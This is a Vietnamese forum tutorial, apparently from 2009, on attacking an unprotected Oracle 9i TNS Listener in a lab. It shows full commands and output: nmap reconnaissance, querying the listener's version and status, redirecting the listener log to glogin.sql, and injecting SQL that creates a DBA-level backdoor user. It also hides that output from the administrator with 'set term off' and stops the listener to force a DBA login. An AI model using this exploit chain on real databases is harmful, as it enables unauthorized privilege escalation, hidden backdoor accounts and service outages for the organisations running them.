Chào mọi người,
Như đã hứa mình sẽ viết 1 bài về Hacking TNS Listener cho mọi người tham khảo. Có gì thiếu sót mong các bạn bổ sung thêm nhé.
Trước hết mình xin giới thiệu ngắn gọn 1 chút về Listener
Listener là một thành phần rất quan trọng của Oracle DB, quản lý việc truyền thông mạng (network traffic) giữa Oracle client và Oracle DB.
• Các kết nối của tất cả client đến 1 DB đều thông qua Listener
• Lắng nghe ở port 1521/tcp (mặc định) và có thể thay đổi được
• Khi listener down thì không thể truy cập đến DB (nên có thể DOS bằng cách tắt Listener)
Công cụ sử dụng: tnscmd perl script (tnscmd10g.pl), oat (oracle audit tools)
Môi trường sử dụng để tấn công: Back Track (1 linux OS hay dùng để tấn công thử nghiệm), IP: 10.11.21.89
Môi trường chạy Oracle DB 9i: window2003, IP: 10.11.21.139
Các bước tấn công:
1.Tìm kiếm Orcle DB và port của Listener: dùng công cụ nmap
nmap –v <IP-ADDRESS>
chúng ta quan tâm nhất đến dòng: 1521/tcp open oracle
- Code: Select all
bt ~ # nmap -v 10.11.21.139
Starting Nmap 4.20 ( http://insecure.org ) at 2009-10-07 23:49 GMT
Initiating ARP Ping Scan at 23:49
Scanning 10.11.21.139 [1 port]
Completed ARP Ping Scan at 23:49, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:49
Completed Parallel DNS resolution of 1 host. at 23:49, 0.11s elapsed
Initiating SYN Stealth Scan at 23:49
Scanning 10.11.21.139 [1697 ports]
Discovered open port 23/tcp on 10.11.21.139
Discovered open port 1723/tcp on 10.11.21.139
Discovered open port 443/tcp on 10.11.21.139
Discovered open port 80/tcp on 10.11.21.139
Discovered open port 9090/tcp on 10.11.21.139
Discovered open port 8080/tcp on 10.11.21.139
Discovered open port 1433/tcp on 10.11.21.139
Discovered open port 1025/tcp on 10.11.21.139
Discovered open port 139/tcp on 10.11.21.139
Discovered open port 49/tcp on 10.11.21.139
Discovered open port 2000/tcp on 10.11.21.139
Discovered open port 445/tcp on 10.11.21.139
Discovered open port 1521/tcp on 10.11.21.139
Discovered open port 2001/tcp on 10.11.21.139
Discovered open port 135/tcp on 10.11.21.139
Discovered open port 2002/tcp on 10.11.21.139
Completed SYN Stealth Scan at 23:49, 1.67s elapsed (1697 total ports)
Host 10.11.21.139 appears to be up ... good.
Interesting ports on 10.11.21.139:
Not shown: 1681 closed ports
PORT STATE SERVICE
23/tcp open telnet
49/tcp open tacacs
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
1521/tcp open oracle
1723/tcp open pptp
2000/tcp open callbook
2001/tcp open dc
2002/tcp open globe
8080/tcp open http-proxy
9090/tcp open zeus-admin
MAC Address: 00:0C:29:B1:B9:F1 (VMware)
Nmap finished: 1 IP address (1 host up) scanned in 2.076 seconds
Raw packets sent: 1795 (78.978KB) | Rcvd: 1698 (78.104KB)
bt ~ #
2.Xem version của DB:
tnscmd10g.pl version –h <IP-ADDRESS>
- Code: Select all
bt ~ # cd /pentest/database/oracle/
bt oracle # perl tnscmd10g.pl version -h 10.11.21.139
sending (CONNECT_DATA=(COMMAND=version)) to 10.11.21.139:1521
writing 90 bytes
reading
.M.......6.........-. ..........(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)).c....... TNSLSNR for 32-bit Windows: Version 9.0.1.1.1 - Production..TNS for 32-bit Windows: Version 9.0.1.1.0 - Production........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................(....................................,,.........@
bt oracle #
3.Xem SID của DB và các thông tin cần thiết khác:
tnscmd10g.pl status –h <IP_ADDRESS>
- Code: Select all
bt oracle # perl tnscmd10g.pl status -h 10.11.21.139
sending (CONNECT_DATA=(COMMAND=status)) to 10.11.21.139:1521
writing 89 bytes
reading
. .......6.........Q. ...........[........(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(ALIAS=LISTENER)(SECURITY=ON)(VERSION=TNSLSNR for 32-bit Windows: Version 9.0.1.1.1 - Production)(START_DATE=12-OCT-2009 09:33:52)(SIDNUM=1)(LOGFILE=C:\oracle\ora90\network\log\listener.log)(PRMFILE=C:\oracle\ora90\network\admin\listener.ora)(TRACING=off)(UPTIME=27832823)(SNMP=OFF)(PID=2024)).o........(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=2EF642996375-4822-BC51-AB8684EB24AA)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=886A8E02B4D5-4AD6-AABD-0E3FD08B4944)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=lab)(PORT=1521))))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=26ACFDDDD568-4314-8AF8-CE9858E24B63)(PRE=http://admin)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.11.21.139)(PORT=8080))(PRESENTATION=http://admin)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=DE6BDCD1CD9E-40EF-B694-42F1850D979E)(PRE=http://admin)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=10.11.21.139)(PORT=9090))(PRESENTATION=http://admin)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=D50A15732BB9-4536-A1D1-A16855BDDE5B)(PRE=giop)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.11.21.139)(PORT=2481))(PRESENTATION=GIOP)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=5EFBD5F33FC6-4745-95A0-F9F2859F2FE6)(PRE=giop)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=10.11.21.139)(PORT=2482))(PRESENTATION=GIOP)(SESSION=RAW)))),,(SERVICE=(SERVICE_NAME=MODOSE)(INSTANCE=(INSTANCE_NAME=oratest)(NUM=4)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=PLSExtProc)(INSTANCE=(INSTANCE_NAME=PLSExtProc)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=oratest)(INSTANCE=(INSTANCE_NAME=oratest)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))(INSTANCE=(INSTANCE_NAME=oratest)(NUM=4)(NUMREL=3))),,.........@
bt oracle #
Ở đây sẽ lưu ý đến các thông tin về SID = oratest và vị trí, tên của LOGFILE = c:\oracle\ora90\network\log\listener.log
4.Tấn công TNS Listener bằng tnscmd10g.pl
Các bước 1, 2, 3 thu thập các thông tin về Oracle DB: version, SID, $ORACLE_HOME,LOGFILE,… Mình chỉ mô tả sơ qua rồi tập trung vào bước 4.
Listener bị tấn công bằng cách thức này thường không được bảo vệ: không có PASSWORD (mặc định là không bật), tắt chức năng LOCAL OS AUTHENTICATION (chỉ có trong 10g trở đi), ADMIN_RESTRICTIONS_<listeneralias> (ON = cấm điều khiển Listener từ xa)(mặc định là OFF), …
Mấu chốt ở đây là logfile của Listener: LOGFILE = c:\oracle\ora90\network\log\listener.log; khi listener hoạt động sẽ ghi vào logfile này và nếu listener không được bảo vệ thì chúng ta có thể thay đổi tên, đường dẫn đến logfile này. Dùng lệnh: set log_file c:\oracle\ora90\sqlplus\admin\glogin.sql
Còn file: c:\oracle\ora90\sqlplus\admin\glogin.sql thì sẽ được xử lý và các dòng trên file sẽ được thực thi khi một DBA login vào hệ thống bằng sqlplus.
Với tinh thần như vậy, chúng ta sẽ tìm cách:
•thay đổi logfile listener.log thành glogin.sql
Listener>set log_file c:\oracle\ora90\sqlplus\admin\glogin.sql
•Sau đó thêm các dòng lệnh vào trong glogin: tạo user, gán quyền dba cho user chẳng hạn
o Sql>Create user oravn identified by mypassword;
o Sql>Grant dba to oravn;
•Đổi glogin.sql thành listener.log lại như cũ
Listener>set log_file c:\oracle\ora90\network\log\listener.log
• Đợi một DBA login vào hệ thống là … xong.
Lưu ý: các bước ở đây mình đều thực hiện trên máy từ xa (BT) tấn công vào máy win2003 chạy Oracle 9i.
Các bước thực hiện:
Bước 1: thay đổi logfile listener.log thành glogin.sql
- Code: Select all
bt oracle # perl tnscmd10g.pl --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SE
RVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\sqlplus\admin\glogin.sql)))" -h 10.11.21.139
sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\sqlplus\admin\glogin.sql))) to 10.11.21.139:1521
writing 225 bytes
reading
........"..u(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(COMMAND=LOG_FILE)(LOGFILENAME=c:\oracle\ora90\sqlplus\admin\glogin.sql))
bt oracle #
Bước 2: Sau đó thêm các dòng lệnh vào trong glogin
- Code: Select all
bt oracle # tnscmd10g.pl -h 10.11.21.139 --rawcmd "(CONNECT_DATA=((
> create user oravn identified by mypassword;
> grant dba to oravn;
> "
sending (CONNECT_DATA=((
create user oravn identified by mypassword;
grant dba to oravn;
to 10.11.21.139:1521
writing 139 bytes
reading
.R......"..F(DESCRIPTION=(ERR=1153)(VSNNUM=150999297)(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=((.create user oravn identified by mypassword;.grant dba to oravn;'))(ERROR=(CODE=303)(EMFI=1))))
bt oracle #
Nếu bạn không muốn DBA thấy log xuất ra trên màn hình dòng tạo và gán quyền cho user khi DBA đăng nhập vào DB bằng sqlplus, thì có thể thêm set term off/set term on vào
- Code: Select all
bt oracle # tnscmd10g.pl -h 10.11.21.139 --rawcmd "(CONNECT_DATA=((
>set term off
> create user oravn identified by mypassword;
> grant dba to oravn;
>set term on
> "
sending (CONNECT_DATA=((
create user oravn identified by mypassword;
grant dba to oravn;
to 10.11.21.139:1521
writing 139 bytes
reading
.R......"..F(DESCRIPTION=(ERR=1153)(VSNNUM=150999297)(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=((.create user oravn identified by mypassword;.grant dba to oravn;'))(ERROR=(CODE=303)(EMFI=1))))
bt oracle #
Bước 3: Đổi glogin.sql thành listener.log lại như cũ
- Code: Select all
bt oracle # perl tnscmd10g.pl --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SE
RVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\network\log\lisener.log)))" -h 10.11.21.139
sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\network\log\lisener.log))) to 10.11.21.139:1521
writing 224 bytes
reading
........"..t(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(COMMAND=LOG_FILE)(LOGFILENAME=c:\oracle\ora90\network\log\lisener.log))
bt oracle #
Sau đó đợi DBA login vào hệ thống bằng sqlplus thì glogin sẽ được thực thi và user oravn sẽ được tạo ra.
- Code: Select all
C:\oracle\ora90\BIN>sqlplus.exe sys/123456
SQL*Plus: Release 9.0.1.0.1 - Production on Thu Oct 15 15:11:42 2009
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "TNS-01153:..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
User created.
Grant succeeded.
SP2-0734: unknown command beginning "NL-00303: ..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SQL>
Để ý chúng ta sẽ thấy 2 dòng User created. và Grant succeeded là tạo và gán quyền cho user oravn
Mình dùng user/pass này login vào DB.
- Code: Select all
c:\Program Files\repscan>sqlplus.exe oravn/mypassword@10.11.21.139:1521/oratest
SQL*Plus: Release 10.2.0.4.0 - Production on Thu Oct 15 15:24:54 2009
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production
SQL> show user;
USER is "ORAVN"
SQL> desc sys.dba_users;
Name Null? Type
----------------------------------------- -------- ---------------------------
USERNAME NOT NULL VARCHAR2(30)
USER_ID NOT NULL NUMBER
PASSWORD VARCHAR2(30)
ACCOUNT_STATUS NOT NULL VARCHAR2(32)
LOCK_DATE DATE
EXPIRY_DATE DATE
DEFAULT_TABLESPACE NOT NULL VARCHAR2(30)
TEMPORARY_TABLESPACE NOT NULL VARCHAR2(30)
CREATED NOT NULL DATE
PROFILE NOT NULL VARCHAR2(30)
INITIAL_RSRC_CONSUMER_GROUP VARCHAR2(30)
EXTERNAL_NAME VARCHAR2(4000)
SQL>
Còn trong trường hợp đợi lâu quá mà chẳng thấy DBA nào login vào thì sao? Bó tay

Thế thì mình … nghĩ cách khác thôi. Như mình đã trình bày trong phần đầu, chúng ta có thể DOS (ăn không được thì … cho mày chết luôn) DB bằng cách tắt Listener đi.
Ở đây mình dùng công cụ OracleTNSCtrl (otnsctl.sh) trong bộ công cụ OAT (Oracle audit Tools): có sẵn trong BT
- Code: Select all
bt oat # ./otnsctl.sh -s 10.11.21.139 -I
Oracle TNS Control v1.3.1 by patrik@cqure.net
---------------------------------------------
tnscmd> help
help
set password - sets the password with which to connect to the listener
services - shows services
status - shows status
version - returns version information
tnscmd> stop
java.net.SocketException: Socket closed
at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:99)
at java.net.SocketOutputStream.write(SocketOutputStream.java:136)
at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:65)
at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:123)
at ork.OracleTNSSocket.sendTNSCommand(OracleTNSSocket.java:345)
at ork.OracleTNSSocket.sendCommand(OracleTNSSocket.java:267)
at ork.OracleTNSCtrl.execTNSCmd(OracleTNSCtrl.java:71)
at ork.OracleTNSCtrl.main(OracleTNSCtrl.java:186)
ERROR: Could not send command (verify port try 1521 or 1526)
bt oat #
Khi đó listener bị tắt, các client sẽ không thể truy cập đến DB, DBA lúc đó phải login vào hệ thống để kiểm tra, khởi động lại. Và khi DBA login vào hệ thống bằng sqlplus thì sẽ tạo ra user/pass của mình.
Tài liệu tham khảo:
http://www.red-database-security.com/ex ... ener.html;http://www.jammed.com/~jwa/hacks/security/tnscmd/Trong bài viết này có 1 phần mình chưa thử đó là cái Listener trên 1 máy client (Listener mặc định được cài trên máy cài đặt DB Oracle). Sau đó dùng Listener client này truy cập đến DB. Khi đó việc thay đổi logfile (bước 1 và 3) và tắt listener sẽ đơn giản hơn nhiều (dùng lệnh set logfile; stop trong listener).Bạn nào làm thử rồi (cài đặt và chạy listener trên client) post lên cho mình và mọi người học hỏi, tham khảo nhé.
Bài viết có gì sơ sót mong được sự góp ý từ các bạn. Mình cảm ơn nhiều.
Thân mến